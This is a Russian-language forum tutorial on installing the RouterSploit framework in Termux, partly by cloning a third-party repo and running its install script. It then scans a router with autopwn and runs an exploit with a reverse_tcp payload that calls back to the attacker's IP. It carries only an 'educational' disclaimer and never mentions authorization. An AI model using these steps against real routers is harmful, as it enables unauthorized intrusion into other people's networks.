Routersploit в termux

megaDED

Сержант
Модератор
Сообщения
34
Реакции
5
!!! ВНИМАНИЕ! Автор данной статьи не несет ответственности за любые последствия от ее прочтения. Все материалы предоставлены в исключительно образовательных целях!!!!!!!

Cегодня речь пойдет об routersploit. Установка этой утилиты, вызывает некоторые трудности: при сканировании приложение крашится, ну сейчас мы это обговорим.

Routersploit - это фреймворк, работа которого заключается в эксплуатации/тестировании беспроводных устройств,роутеров, и тд.
Exploits - модули использующие уязвимости.
Scanners - модули ,которые позволяют сканировать сеть на то : уязвима она, или нет.
Итак, теперь давайте установим сей прекрасную утилиту, будет два способа, каждый изучите:

1.Способ установки Routersploit:

Этот способ, является первоначальным основным, он у меня не подошел, но вы можете его попробовать :
Bash:
pkg update
pkg upgrade
pkg install git python
pip install --upgrade pip
git clone https://www.github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 -m pip install -r requirements-dev.txt
python3 rsf.py
Инструкцию взял с этого же гита, но у меня не сработал данный способ, так что переходим ко второму.

2.Способ установки Routersploit:

Bash:
pkg update
pkg upgrade
pkg install python
pip install future
apt install git filget
git clone https://github.com/41Team/RouterSploitTermux
cd RouterSploitTermux
bash run.sh
Установка будет долгой, дольше 20 минут это точно, так что запаситесь терпением)
Теперь запуск :
Bash:
cd $HOME
cd routersploit
python rsf.py
Теперь немного разберемся в утилите:


Данная утилита содержит множество эксплойтов, в директории утилиты есть папка docs в которых содержится небольшое описание об эксплойте и тд. А так-же можно просмотреть список всех эксплойтов командой show all
1. Проверка , уязвим ли роутер ?

В этом пункте , мы сделаем сканирование где и выясним уязвим роутер или нет, если да то какая уязвимость :
Bash:
use scanners/autopwn
set target ip роутера
exploit
Первой командой мы выбрали сканер, второй задали цель, и третьей запустили сканирование.
2.Атака
Если всё таки у вас найдется уязвимость(вы поймете, там будет табличка ), то выполняем следующие команды:

Bash:
use exploits/ #свой эксплойт выбираете
show info #показать информацию об эксплойте
show options #показать опции эксплойта
set target ip роутера
check
run
set payload reverse_tcp
set lhost ваш ip
run
Итак, первой командой мы выбираем эксплойт, второй и третьей смотрим информацию и опции о нем, четвертой задаем цель, пятой мы проверяем , уязвима ли цель к такому эксплойту, или нет? Седьмой выбираем полезную нагрузку ну и восьмой вводим свой ip, и ребят "#" это комментарий с пояснением.
 
  • Like
Реакции: grayhatgirl и lukeone